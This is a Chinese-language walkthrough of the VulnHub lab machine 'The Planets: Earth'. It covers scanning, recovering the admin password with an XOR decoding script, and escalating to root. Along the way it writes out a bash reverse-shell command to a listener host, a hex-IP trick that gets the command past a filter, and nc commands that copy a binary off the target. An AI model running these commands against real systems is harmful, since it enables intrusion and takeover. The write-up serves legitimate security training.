準備:
攻擊機:虛擬機器器kali、本機win10。
靶機:THE PLANETS: EARTH,網段地址我這裡設定的橋接,所以與本機電腦在同一網段,下載地址:https://download.vulnhub.com/theplanets/Earth.ova,下載後直接vm開啟即可。
資訊收集:
通過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap 192.168.0.0/24,獲得靶機地址:192.168.0.11
掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.0.11,顯示開放了22、80、443埠,但是443埠需要進行dns解析。
在未設定dns解析時,存取下https和http服務顯示均是400:
設定dns解析:
win:開啟C:\Windows\System32\drivers\etc\hosts檔案,新增:192.168.0.11 earth.local 192.168.0.11 terratest.earth.local,然後存取:https://earth.local/或http://earth.local或https://terratest.earth.local獲得初始介面:
kali:開啟/etc/hosts檔案,新增:192.168.0.11 earth.local 192.168.0.11 terratest.earth.local,然後同windows。
目錄掃描:
使用dirmap進行目錄掃描:python dirmap.py -i http://earth.local/ -lcf和python dirmap.py -i https://terratest.earth.local -lcf,獲得一下目錄資訊:
對掃描出來的地址進行存取,獲得一個登入介面、一個robots.txt檔案,存取結果如下:
嘗試存取一下testingnotes.*檔案,後面字尾進行測試,最後發現txt檔案可以存取,https://terratest.earth.local/testingnotes.txt
在該檔案中發現了以下資訊:
1、使用者名稱資訊:terra used as username for admin portal,使用者名稱terra是超級管理員賬戶。
2、加密演演算法:Using XOR encryption as the algorithm, should be safe as used in RSA,加密演演算法XOR。
3、加密文字:testdata.txt was used to test encryption,測試資料在testdata.txt中。
xor演演算法:a^b=c,則c^b=a或c^a=b,所以我們就需要將傳送得資訊與密碼本資訊進行互斥或,得到原來傳送得未加密得資訊。
讀取testdata.txt檔案:
解碼傳輸資訊
#vlunhub之THE PLANETS: EARTH指令碼
import binascii
entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
#將pass_txt轉換成16進位制
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
#進行xor運算
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
#將運算結果轉換成字串
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)
#指令碼結果
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
觀察到最後得字串資訊是:earthclimatechangebad4humans得重複,因此猜測密碼就是這個,因此在https://earth.local/admin/login介面使用賬戶名和密碼進行登入:
獲取flag
根據題目描述這題是要尋找兩個flag:
因此通過find查詢flag檔案,find / -name "*flag*",
然後讀取下/var/earth_web/user_flag.txt檔案的資訊,cat /var/earth_web/user_flag.txt,獲取到flag值:
獲取root許可權
觀察到當前使用者是apache使用者,那就是還差一個root使用者,因此這裡就要嘗試獲取root許可權
首先獲取下root許可權下的檔案都有哪些,命令:find / -user root -perm -4000 -print 2>/dev/null,發現/usr/bin/reset_root,結果如下:
嘗試執行一下,但是重置密碼失敗
那就嘗試獲取下shell許可權,開啟kali的6688埠監聽:nc -lvvp 6688
在網頁輸入框中輸入 bash -i >& /dev/tcp/ 192.168.0.12/6688 0>&1 進行執行,但是顯示被禁止了
發現被禁止後就在網上查詢了以下,發現通過將ip地址轉換成16禁止可以進行繞過:bash -i >& /dev/tcp/0xc0.0xa8.0x0.0xc/6688 0>&1,kali端成功獲取到shell許可權
因為shell上無法進行偵錯,因此把reset_root檔案下載到本地進行偵錯,使用nc進行檔案的傳遞,伺服器端:nc -nlvp 8899 >reset_root,shell端:nc 192.168.0.12 8899 < /usr/bin/reset_root,不分先後順序
然後使用strace進行偵錯:strace ./reset_root,顯示缺少三個檔案
access("/dev/shm/kHgTFI5G", F_OK) = -1 ENOENT (No such file or directory)
access("/dev/shm/Zw7bV9U5", F_OK) = -1 ENOENT (No such file or directory)
access("/tmp/kcM0Wewe", F_OK) = -1 ENOENT (No such file or directory)
write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.) = 44
那就去靶機上看一下這幾個檔案,發現靶機上也沒有這幾個檔案
那就建立這幾個檔案後在嘗試執行下reset_root檔案,成功修改su密碼為:Earth
在root許可權下查詢flag檔案並讀取flag值